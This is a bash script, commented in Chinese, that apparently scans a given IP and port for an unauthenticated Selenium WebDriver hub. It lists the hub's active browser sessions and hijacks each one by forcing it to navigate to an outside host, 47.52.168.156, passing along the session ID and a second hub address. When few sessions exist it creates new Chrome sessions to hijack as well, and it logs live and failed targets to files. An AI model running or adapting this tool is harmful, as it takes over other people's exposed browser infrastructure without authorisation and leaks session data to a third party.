#!/usr/bin/env bash

#ip="54.189.84.214"
ip=$1
port=$2



query="curl  --connect-timeout 15 -s -X GET
--header 'Content-Type: application/json'
--header
'Accept: application/json'
http://$ip:$port/wd/hub/sessions"


nav(){
    if [[ $3 =~ 'create' ]] || [ "$3" ==  "" ] || [[ 20 -gt ${#3}   ]]
    then
        echo "create fail"
    else
        echo $ip >> must_live
        echo "navto $3"
        cmd="curl -s --connect-timeout 12 -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \
        \"url\": \"http://47.52.168.156?wdsid=$3&wdurl=http%3A%2F%2F45.33.124.8%3A4444%2Fwd%2Fhub\"\
        }' http://$1:$2/wd/hub/session/$3/url"
        eval $cmd >/dev/null
    fi

}

create(){
   create="curl -s --connect-timeout 6 -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \
    \"desiredCapabilities\": {\"browserName\":\"chrome\"} \
    }' http://$1:$2/wd/hub/session"
   res=`eval $create`
   sid=`echo $res | jq .sessionId | sed 's/"//g' `
   echo $sid
#   能够创建成功才写入成功日志
}


res=`eval $query`
#echo $res | jq .


if [ "$res" !=  "" ] && [[ $res =~ "status" ]]
then
    if [[ $res =~ "id" ]]
    then
#        有sessionId 写入成功日志
        echo "binggo"

        ips=`echo $res | jq .value[].id`


        for i in $ips
        do
            echo "loop sessionId"
            sid=`echo $i | sed 's/"//g' `
            cmd="nav $ip $port $sid"
            eval $cmd
        done

      # 2个session 以下创建
      if [[ 90 -gt ${#ips}  ]]
        then
            echo "断点多session"
            cmd="create $ip $port"
            sid=`eval $cmd`
            echo "创建了 $sid"
            if [[ 40 -gt ${#sid}  ]] && [[ ${#sid} -gt 30  ]]
            then
                cmd="nav $ip $port $sid"
                eval $cmd
            fi

        fi

    else
           echo "断点-无sesssion"
           echo $ip >> nosession_may_broken
           cmd="create $ip $port"
           sid=`eval $cmd`


           echo "创建了 $sid"
            if [[ 40 -gt ${#sid}  ]] && [[ ${#sid} -gt 30  ]]
            then
                cmd="nav $ip $port $sid"
                eval $cmd
            fi
    fi
else
    echo $ip >> must_fail
fi

